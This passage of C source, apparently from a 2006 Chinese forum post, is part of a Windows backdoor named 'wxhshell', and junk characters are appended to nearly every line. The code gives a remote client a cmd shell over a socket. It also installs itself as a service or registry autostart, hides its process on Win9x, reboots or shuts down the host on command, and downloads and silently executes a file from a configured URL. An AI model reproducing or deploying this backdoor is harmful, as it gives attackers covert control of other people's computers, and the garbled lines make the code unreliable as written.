    switch(cmd[0]) { T~0k"uTE  
  K%v1xZ  
  // 帮助 &-d&t` `  
  case '?': { u&mS8i}  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); kE9esC 3  
    break; !K f#@0E..  
  } aFz5leD  
  // 安装 5,-U.B}  
  case 'i': { Eow_&#WW;P  
    if(Install()) l vMlL5t  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); hCjR&ZA  
    else L>y J  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); W\&8au ds  
    break; nw>8GivO  
    } 9RN-suE[  
  // 卸载 T&4qw(\G  
  case 'r': { Ez|oN,  
    if(Uninstall()) FKNMtp[`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); J_x13EaV0  
    else CHrFM@CM  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); - K9c@?  
    break; p$Ox'A4  
    } aT>'.*\]  
  // 显示 wxhshell 所在路径 mGp.3{j  
  case 'p': { if|+EN%  
    char svExeFile[MAX_PATH]; <Ln1pV~k  
    strcpy(svExeFile,"\n\r"); S}p4iE"n  
      strcat(svExeFile,ExeFile); |7yAX+  
        send(wsh,svExeFile,strlen(svExeFile),0); P9g en6  
    break; V=:'SL*3|  
    } \7Jg7*  
  // 重启 V-<GT ?  
  case 'b': {  1%4sHSN  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); I!e})Y  
    if(Boot(REBOOT)) =jB08A  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [<DZ*|+  
    else { KD`IX-r{s  
    closesocket(wsh); A C>`'Gx  
    ExitThread(0); QFYWA1<pDh  
    } ~0beuK&p  
    break; kY*rb_2j  
    } }VS5gxI1.  
  // 关机 yW$0\E6<r  
  case 'd': { N"nd*?  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); oD<kMK  
    if(Boot(SHUTDOWN)) JSW^dw&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |B?27PD  
    else { ~//fN}~R  
    closesocket(wsh); )+:EJH~  
    ExitThread(0);  =-IbS}3  
    } tjupJ*Rt  
    break; J ]nohICe  
    } U2bjFLd"  
  // 获取shell cWoPB _  
  case 's': { %Ev4]}2C1  
    CmdShell(wsh); tmQH|'>>  
    closesocket(wsh); 0NS<?p~_S  
    ExitThread(0); /YZr~|65  
    break; E\Rhz]G(  
  } $GlWf  
  // 退出 b )B? F  
  case 'x': { {q"OM*L(  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); {NHdyc$  
    CloseIt(wsh); W[Ls|<Q  
    break; KXx32 b,~  
    } e" St_z(  
  // 离开 j'A_'g'^  
  case 'q': { TWA-.>c  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Z'"tB/=W  
    closesocket(wsh); :]\([Q+a  
    WSACleanup(); a(l29>  
    exit(1); _d5QbTe  
    break; "wNJ  
        } 9I}-[|`u  
  } Zl^\Q=*s  
  } etTn_v  
r>o63Q:  
  // 提示信息 D)L+7N0D~  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [ucpd  
} '.:z&gSqx0  
  } `{dm;j5/y  
XD.)Dl8  
  return; wne,e's}   
} LDPUD'  
`aciXlqIF  
// shell模块句柄 Lm%:K]X  
int CmdShell(SOCKET sock) '<"s \,  
{ G3Z)Z) N  
STARTUPINFO si; ` @`CG[-9  
ZeroMemory(&si,sizeof(si)); }H^+A77v  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; )h7<?@wv&  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; >CHrg]9  
PROCESS_INFORMATION ProcessInfo; lhy*h_>  
char cmdline[]="cmd"; ?l9XAW t\  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); D]zwl@sRX:  
  return 0; P GqQ@6B  
} Gefne[  
5>[u `  
// 自身启动模式 ,J+}rPe"sf  
int StartFromService(void) 'uBu6G  
{ 4y|BOVl  
typedef struct $g> IyT[  
{ 9Z4nAc  
  DWORD ExitStatus; ]n6#VTz*  
  DWORD PebBaseAddress; 3}}38A|4  
  DWORD AffinityMask; I>W=x'PkLn  
  DWORD BasePriority; 6 (]Dh;gC  
  ULONG UniqueProcessId; _852H$H\  
  ULONG InheritedFromUniqueProcessId; p{T*k'  
}   PROCESS_BASIC_INFORMATION; ]'&LGA`  
'=b/6@&  
PROCNTQSIP NtQueryInformationProcess; {*G9|#[/@  
].-1v5  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Q'=x|K#xj  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; dYJ(!V&  
X% t1 T4  
  HANDLE             hProcess; IG2r#N|C#  
  PROCESS_BASIC_INFORMATION pbi; F3On?x)  
Te"ioU?.  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); $a.JSXyxL  
  if(NULL == hInst ) return 0; Tp/6,EE  
v[1aW v:  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ! >FYK}c7  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); xi~?>f  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); >qnko9V  
wW>A_{Y  
  if (!NtQueryInformationProcess) return 0; M:Pc,  
xF!,IKlBBp  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); */`ki;\A  
  if(!hProcess) return 0; ?9 <:QE;I>  
I|qo+u)  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; )_HA>o_?C:  
&."iFe  
  CloseHandle(hProcess); lXW%FH6c+  
u^^[Q2LDU}  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); BC^ :=  
if(hProcess==NULL) return 0; b RFLcM  
y%"{I7!A  
HMODULE hMod; XP!S$Q]D  
char procName[255]; mE+*)gb:Rd  
unsigned long cbNeeded; C0T;![/4A  
(KjoSN( K  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); +}Dw3;W}m  
xQ7l~O b  
  CloseHandle(hProcess); |jGf<Bf5  
IaSR;/  
if(strstr(procName,"services")) return 1; // 以服务启动 3dg1DR;  
G#ZH.24Y  
  return 0; // 注册表启动 !|S(Ms  
} 8W*%aOi5+  
=W(Q34  
// 主模块 n\mO6aJ  
int StartWxhshell(LPSTR lpCmdLine) (S>C#A=E\  
{ ,0 M_ Bk"  
  SOCKET wsl; V(H1q`ao9  
BOOL val=TRUE; )}Hpi<5N  
  int port=0; }|h# \$w  
  struct sockaddr_in door; Ua:}Vn&!  
^UP`%egR  
  if(wscfg.ws_autoins) Install(); ?+))}J5N\  
LBw1g<&  
port=atoi(lpCmdLine); g];!&R-  
I ce~oz)  
if(port<=0) port=wscfg.ws_port; ^9v4OUG  
l!D}3jD  
  WSADATA data; ~[t[y~Hup  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; hNC&T`.-~B  
g|o,uD  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   qU \w=  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Q *D;U[  
  door.sin_family = AF_INET; qqjwJ!@P  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); lU8l}Ndz"  
  door.sin_port = htons(port); (p"%O  
=x/X:;)>  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { D}-/c"':}  
closesocket(wsl); )3cAQ'w  
return 1; j`{?OYD  
} ">\?&0  
'g}!  
  if(listen(wsl,2) == INVALID_SOCKET) { <$D`Z-6  
closesocket(wsl); x+\`gK5  
return 1; 2=*H 8'k  
} OAgniLv  
  Wxhshell(wsl); u+9hL4  
  WSACleanup(); k R?qb6  
0CHH)Bku  
return 0; 5?f ^Rz  
Akq2 d;  
} Z%gh3  
/!0={G  
// 以NT服务方式启动 d-oMQGOklb  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) !Jo_"#5  
{ W_JlOc!y  
DWORD   status = 0; Sj3+l7S?  
  DWORD   specificError = 0xfffffff; 3/P1!:g9  
a1T'x~ '  
  serviceStatus.dwServiceType     = SERVICE_WIN32; akmkyrz'&  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; #$.;'#u'so  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; KqHyG  
  serviceStatus.dwWin32ExitCode     = 0; em y[k  
  serviceStatus.dwServiceSpecificExitCode = 0; bTI|F]^!  
  serviceStatus.dwCheckPoint       = 0; ?>VLTp8]  
  serviceStatus.dwWaitHint       = 0; Lc}y<=P@  
 0HZ{Y9]  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); !Lu2  
  if (hServiceStatusHandle==0) return; Fn wJ+GTu  
i}cRi&2[  
status = GetLastError(); ncaT?~u j  
  if (status!=NO_ERROR) atj(eg  
{ x[cL Bc<  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; n'"/KS+_  
    serviceStatus.dwCheckPoint       = 0; zrvF]|1UP  
    serviceStatus.dwWaitHint       = 0; )~X2 &^orW  
    serviceStatus.dwWin32ExitCode     = status; "fb[23g%@k  
    serviceStatus.dwServiceSpecificExitCode = specificError; N"Z{5A  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); G?yLo 'Ulo  
    return; irZ])a  
  } %[GsD9_-  
~?l | [  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ~$c\JKH-  
  serviceStatus.dwCheckPoint       = 0; (|2t#'m  
  serviceStatus.dwWaitHint       = 0; C2!|OQ9A2  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); t^&Cxh  
} aHD]k8 m z  
pd?M f=>#  
// 处理NT服务事件,比如:启动、停止 G0Iw-vf  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ldf\;Qk  
{ [DuttFX^x  
switch(fdwControl) :'Vf g[Uq  
{ W"scV@HKu  
case SERVICE_CONTROL_STOP: EAUEQk?9  
  serviceStatus.dwWin32ExitCode = 0; YqscZ(L:y  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; `Gs9Xmc|  
  serviceStatus.dwCheckPoint   = 0; 9i:L&dN  
  serviceStatus.dwWaitHint     = 0; ;[ZEDF5H  
  { yNPVOp*  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); _O?`@g?i  
  } e1yt9@k,  
  return; `>o{P/HN  
case SERVICE_CONTROL_PAUSE: nkPh,X\N0  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; =F|{# F  
  break; /'SNw?&  
case SERVICE_CONTROL_CONTINUE: R*, MfV  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; !t"4!3  
  break; Z{*\S0^ST  
case SERVICE_CONTROL_INTERROGATE: & l<.X  
  break; YP oSRA L  
}; p%ki>p )E|  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); &$+AXzn  
} g>%o #P7  
8]c2r%J  
// 标准应用程序主函数 n9\TO9N  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) G/E+L-N#`  
{ }:zE< bK  
 1~gnc|?  
// 获取操作系统版本 l$KA)xbI  
OsIsNt=GetOsVer(); <)Dj9' _J  
GetModuleFileName(NULL,ExeFile,MAX_PATH); FaAC&F@u  
MpT8" /.]A  
  // 从命令行安装 )$2QZ qX  
  if(strpbrk(lpCmdLine,"iI")) Install(); hgG9m[?K  
 }FROB/  
  // 下载执行文件 r `=I  
if(wscfg.ws_downexe) { '@v\{ l  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) @?sRj&w  
  WinExec(wscfg.ws_filenam,SW_HIDE); E:68?IJ  
} gT. sj d  
C[cbbp  
if(!OsIsNt) { >>r(/81S  
// 如果时win9x,隐藏进程并且设置为注册表启动 yX>K/68  
HideProc(); u,ho7ht3(  
StartWxhshell(lpCmdLine); WCZjXDiwJ  
} :U|1xgB  
else RNk\.}m  
  if(StartFromService()) kt#fMd$  
  // 以服务方式启动 K-)] 1BG  
  StartServiceCtrlDispatcher(DispatchTable); (XTG8W sN  
else k=$TGqQY?  
  // 普通方式启动 ;nfdGB  
  StartWxhshell(lpCmdLine); bW427B0  
Wu/]MBM  
return 0; |l^uEtG  
}
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只看该作者 1 发表于: 2006-10-10
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